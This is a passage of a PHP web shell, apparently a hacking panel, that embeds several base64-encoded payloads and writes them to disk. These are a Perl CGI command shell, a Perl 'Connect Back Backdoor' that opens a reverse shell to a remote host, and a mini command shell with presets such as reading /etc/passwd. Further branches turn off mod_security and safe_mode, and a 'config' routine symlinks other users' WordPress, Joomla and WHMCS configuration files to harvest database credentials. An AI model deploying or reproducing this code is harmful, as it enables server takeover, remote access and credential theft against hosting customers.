YXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KJlJlYWRQYXJzZTsKJkdldENvb2tpZXM7CgokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9OwokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307CiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307CiRSdW5Db21tYW5kID0gJGlueydjJ307CiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsKJE9wdGlvbnMgPSAkaW57J28nfTsKCiRBY3Rpb24gPSAkaW57J2EnfTsKJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQKCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQKJEN1cnJlbnREaXIgPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K';
 778     $file = fopen("izo.cin", "w+");
 779     $write = fwrite($file, base64_decode($cgishellizocin));
 780     fclose($file);
 781     chmod("izo.cin", 0755);
 782     $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
 783 MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
 784 ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
 785 MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
 786 ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
 787 MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
 788 Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
 789 KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
 790 SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
 791 ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
 792 UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
 793 VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
 794 ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
 795 JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
 796 bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
 797 ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
 798 YXRhY2hlZFxuXG4iOw==';
 799     $file = fopen("dc.pl", "w+");
 800     $write = fwrite($file, base64_decode($netcatshell));
 801     fclose($file);
 802     chmod("dc.pl", 0755);
 803     echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe>
 804 
 805 
 806  </div>";
 807 } elseif (isset($_GET['x']) && ($_GET['x'] == 'phpini')) {
 808     echo "<center/><br/><b><font color=blue>Safe Mode php.ini</font></b><br>";
 809     mkdir('safeof', 0755);
 810     chdir('safeof');
 811     $kokdosya = ".htaccess";
 812     $dosya_adi = "$kokdosya";
 813     $dosya = fopen($dosya_adi, 'w') or die("Dosya a??lamad?!");
 814     $metin = "<IfModule mod_security.c>
 815     SecFilterEngine Off
 816     SecFilterScanPOST Off
 817 </IfModule>";
 818     fwrite($dosya, $metin);
 819     fclose($dosya);
 820     $kokdosya = "php.ini";
 821     $dosya_adi = "$kokdosya";
 822     $dosya = fopen($dosya_adi, 'w') or die("Dosya a??lamad?!");
 823     $metin = "safe_mode          =       OFF
 824 disable_functions       =            NONE";
 825     fwrite($dosya, $metin);
 826     fclose($dosya);
 827     $mini = 'DQo8P3BocA0KZWNobyAiPGI+PGZvbnQgY29sb3I9Ymx1ZT5Db21tYW5kIFNoZWxsPC9mb250PjwvYj48YnI+IjsNCnByaW50X3IoJw0KPHByZT4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KPGI+PGZvbnQgY29sb3I9Ymx1ZT48Yj48Zm9udCBjb2xvcj0iYmx1ZSI+Q29tbWFuZCAgOj0pIDwvZm9udD48L2ZvbnQ+PC9iPjxpbnB1dCBuYW1lPSJiYWJhIiB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzaXplPSIzNCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIj4NCjwvZm9ybT4NCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPjxzdHJvbmc+PGI+PGZvbnQgY29sb3I9ImJsdWUiPk1lbnUgQnlwYXNzICA6PSkgIDwvZm9udD48L3N0cm9uZz48c2VsZWN0IG5hbWU9ImxpejAiIHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiPg0KPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvcGFzc3dkIj4vZXRjL3Bhc3N3ZDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0ibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiI+bmV0c3RhdDwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY2F0IC92YXIvY3BhbmVsL2FjY291bnRpbmcubG9nIj4vdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZzwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvc3lzbG9nLmNvbmYiPi9ldGMvc3lzbG9nLmNvbmY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImNhdCAvZXRjL2hvc3RzIj4vZXRjL2hvc3RzPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9uYW1lZC5jb25mIj4vZXRjL25hbWVkLmNvbmY8L29wdGlvbj4NCjxvcHRpb24gdmFsdWU9ImNhdCAvZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZiI+L2V0Yy9odHRwZC9jb25mL2h0dHBkLmNvbmY8L29wdGlvbj4NCjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iRyZvdW1sOyI+DQo8L2Zvcm0+DQo8L3ByZT4NCicpOw0KaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KaW5pX3Jlc3RvcmUoIm9wZW5fYmFzZWRpciIpOw0KJGxpejA9c2hlbGxfZXhlYygkX1BPU1RbYmFiYV0pOyANCiRsaXowemltPXNoZWxsX2V4ZWMoJF9QT1NUW2xpejBdKTsgDQokdWlkPXNoZWxsX2V4ZWMoJ2lkJyk7DQokc2VydmVyPXNoZWxsX2V4ZWMoJ3VuYW1lIC1hJyk7DQplY2hvICI8cHJlPjxoND4iOw0KDQplY2hvICRsaXowOw0KZWNobyAkbGl6MHppbTsNCmVjaG8gIjwvaDQ+PC9wcmU+PGNlbnRlci8+IjsNCj8+
 828 ';
 829     $file = fopen("safe.php", "w+");
 830     $write = fwrite($file, base64_decode($mini));
 831     fclose($file);
 832     echo "<iframe src=safeof/safe.php width=97% height=70% frameborder=0></iframe>
 833 
 834 
 835 </div>";
 836 } elseif (isset($_GET['x']) && ($_GET['x'] == 'config')) {
 837     echo "<center/><br/><b><font color=blue>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";
 838     mkdir('config', 0755);
 839     chdir('config');
 840     $kokdosya = ".htaccess";
 841     $dosya_adi = "$kokdosya";
 842     $dosya = fopen($dosya_adi, 'w') or die("Error cuyy!");
 843     $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
 844 
 845 AddType application/x-httpd-cgi .cpc
 846 
 847 AddHandler cgi-script .izo
 848 AddHandler cgi-script .izo";
 849     fwrite($dosya, $metin);
 850     fclose($dosya);
 851     $configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSk